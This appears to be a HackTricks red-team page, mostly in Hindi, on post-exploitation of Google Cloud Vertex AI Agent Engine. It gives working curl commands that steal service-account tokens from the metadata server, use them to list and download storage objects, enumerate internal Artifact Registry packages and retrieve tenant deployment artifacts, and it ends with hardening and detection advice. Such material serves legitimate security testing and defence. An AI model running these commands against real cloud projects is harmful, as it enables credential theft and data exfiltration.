GCP - Vertex AI Post Exploitation

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Vertex AI Agent Engine / Reasoning Engine

यह पृष्ठ उन वर्कलोड्स पर केंद्रित है जो Vertex AI Agent Engine / Reasoning Engine में चलते हैं और attacker-controlled tools या code को एक Google-managed runtime के अंदर चलाते हैं।

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine एक उपयोगी परन्तु खतरनाक पैटर्न पेश करता है: developer-supplied code जो एक managed Google runtime में Google-managed identity के साथ चल रहा है।

रोचक भरोसे की सीमाएँ (trust boundaries) निम्नलिखित हैं:

  • Consumer project: आपका प्रोजेक्ट और आपका डेटा।
  • Producer project: बैकएंड सेवा चलाने वाला Google-managed प्रोजेक्ट।
  • Tenant project: तैनात किए गए agent instance के लिए समर्पित Google-managed प्रोजेक्ट।

Google की Vertex AI IAM documentation के अनुसार, Vertex AI resources Vertex AI service agents को resource identities के रूप में उपयोग कर सकते हैं, और डिफ़ॉल्ट रूप से उन service agents को प्रोजेक्ट के सभी Cloud Storage संसाधनों और BigQuery डेटा तक read-only access मिल सकता है। यदि Agent Engine के अंदर चल रहा कोड रनटाइम क्रेडेंशियल्स चुरा लेता है, तो वह डिफ़ॉल्ट एक्सेस तुरंत ही दिलचस्प हो जाता है।

Main abuse path

  1. एक agent को deploy या modify करें ताकि attacker-controlled tool code managed runtime के अंदर execute हो।
  2. प्रोजेक्ट identity, service account identity, OAuth scopes, और access tokens पुनर्प्राप्त करने के लिए metadata server से query करें।
  3. चुराए गए token को Vertex AI Reasoning Engine P4SA / service agent के रूप में पुनः उपयोग करें।
  4. consumer project में pivot करें और सर्विस एजेंट द्वारा अनुमति प्राप्त प्रोजेक्ट-व्यापी स्टोरेज डेटा पढ़ें।
  5. उसी identity से पहुँचने योग्य producer और tenant पर्यावरणों में pivot करें।
  6. internal Artifact Registry packages को enumerate करें और Dockerfile.zip, requirements.txt, और code.pkl जैसे tenant deployment artifacts निकालें।

यह सिर्फ “run code in your own agent” का मुद्दा नहीं है। मुख्य समस्या इन चीज़ों के संयोजन में निहित है:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

यदि आपके पास Vertex AI एक्सेस के साथ एक token है, तो Reasoning Engine API को सीधे सूचीबद्ध करें:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

डिप्लॉयमेंट लॉग्स की जाँच करें क्योंकि वे पैकेजिंग या रनटाइम स्टार्टअप के दौरान उपयोग किए गए आंतरिक उत्पादक Artifact Registry paths को leak कर सकते हैं:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Unit 42 के शोधकर्ताओं ने निम्नलिखित internal paths देखे:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Metadata credential theft from the runtime

यदि आप agent runtime के अंदर कोड चला सकते हैं, तो पहले metadata service को क्वेरी करें:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

दिलचस्प फ़ील्ड्स में शामिल हैं:

  • प्रोजेक्ट पहचानकर्ता
  • संलग्न service account / service agent
  • runtime के लिए उपलब्ध OAuth scopes

फिर संलग्न identity के लिए एक token का अनुरोध करें:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

token को सत्यापित करें और प्रदान किए गए scopes की जाँच करें:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google changed parts of the ADK deployment workflow after the research was reported, so exact old deployment snippets might no longer match the current SDK. The important primitive is still the same: if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path.

Consumer-project pivot: service-agent डेटा चोरी

एक बार runtime token चोरी हो जाने पर, consumer project के खिलाफ service agent की effective access को टेस्ट करें।

दस्तावेज़ित जोखिम भरी डिफ़ॉल्ट क्षमता व्यापक read access to project data है। Unit 42 के शोध ने विशेष रूप से सत्यापित किया:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

व्यावहारिक सत्यापन चोरी किए गए token के साथ:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

यह एक compromised या malicious agent को project-wide storage exfiltration primitive में बदल देता है।

Producer-project pivot: आंतरिक Artifact Registry access

वही stolen identity Google-managed producer resources के खिलाफ भी काम कर सकती है।

सबसे पहले logs से recovered internal repository URIs का परीक्षण करें। फिर Artifact Registry API के साथ packages को enumerate करें:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

यदि आपके पास केवल एक raw bearer token है, तो सीधे REST API को कॉल करें:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

यह तब भी मूल्यवान है, भले ही write access ब्लॉक हो, क्योंकि यह उजागर करता है:

  • आंतरिक image नाम
  • deprecated images
  • supply-chain संरचना
  • आगे के अनुसंधान के लिए package/version इन्वेंटरी

For more Artifact Registry background check:

GCP - Artifact Registry Enum

Tenant-project pivot: deployment artifact retrieval

Reasoning Engine deployments उस instance के लिए Google द्वारा नियंत्रित एक tenant project में भी रोचक artifacts छोड़ते हैं।

Unit 42 के शोध में पाया गया:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

चुराए गए token का उपयोग करके accessible storage को enumerate करें और deployment artifacts की खोज करें:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

tenant परियोजना के आर्टिफैक्ट्स से पता चल सकता है:

  • आंतरिक bucket नाम
  • आंतरिक image संदर्भ
  • पैकेजिंग संबंधी धारणाएँ
  • निर्भरता सूचियाँ
  • सीरियलाइज़्ड agent कोड

ब्लॉग ने एक आंतरिक संदर्भ भी देखा, जैसे:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure.

code.pkl and conditional RCE

If the deployment pipeline stores executable agent state in Python pickle format, treat it as a high-risk target.

The immediate issue is गोपनीयता:

  • ऑफ़लाइन deserialization कोड संरचना उजागर कर सकती है
  • पैकेज फॉर्मेट क्रियान्वयन विवरण leaks कर देता है

The bigger issue is conditional RCE:

  • यदि कोई attacker service-side deserialization से पहले serialized artifact में छेड़छाड़ कर सके
  • और pipeline बाद में उस pickle को लोड कर ले
  • managed runtime के अंदर arbitrary code execution संभव हो जाता है

This is not a standalone exploit by itself. It is a dangerous deserialization sink that becomes critical when combined with any artifact write or supply-chain tampering primitive.

OAuth scopes and Workspace blast radius

The metadata response भी runtime से जुड़े OAuth scopes को उजागर करता है।

यदि ये scopes न्यूनतम आवश्यक से व्यापक हैं, तो एक stolen token GCP APIs से अधिक के खिलाफ उपयोगी बन सकता है। IAM अभी भी यह तय करेगा कि identity authorized है या नहीं, लेकिन व्यापक scopes blast radius बढ़ाते हैं और बाद की misconfigurations को अधिक खतरनाक बनाते हैं।

यदि आपको Workspace-related scopes मिलते हैं, तो cross-check करें कि compromised identity के पास Workspace impersonation या delegated access का path भी तो नहीं है:

GCP <–> Workspace Pivoting

Hardening / detection

डिफ़ॉल्ट managed identity के बजाय custom service account को प्राथमिकता दें

वर्तमान Agent Engine documentation deployed agent के लिए एक custom service account सेट करने का समर्थन करता है। यह blast radius कम करने का सबसे साफ़ तरीका है:

  • default broad service agent पर निर्भरता हटाएं
  • agent को केवल आवश्यक न्यूनतम permissions दें
  • runtime identity को auditable और जानबूझकर सीमित करें

वास्तविक service-agent access का सत्यापन करें

Agent Engine उपयोग किए जाने वाले हर प्रोजेक्ट में Vertex AI service agent के effective access का निरीक्षण करें:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

ध्यान दें कि क्या संलग्न पहचान पढ़ सकती है:

  • all GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • build/deployment workflows से पहुँच योग्य secrets या internal registries

एजेंट कोड को privileged code execution के रूप में मानें

एजेंट द्वारा चलाया गया कोई भी tool/function इस तरह रिव्यू किया जाना चाहिए जैसे वह VM पर चल रहा कोड हो जिसे metadata तक पहुँच है। व्यवहार में इसका मतलब है:

  • agent tools की समीक्षा करें कि क्या वे metadata endpoints तक direct HTTP access करते हैं
  • logs की समीक्षा करें और internal pkg.dev repositories और tenant buckets के संदर्भ देखें
  • किसी भी packaging path की समीक्षा करें जो executable state को pickle के रूप में स्टोर करता है

References

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें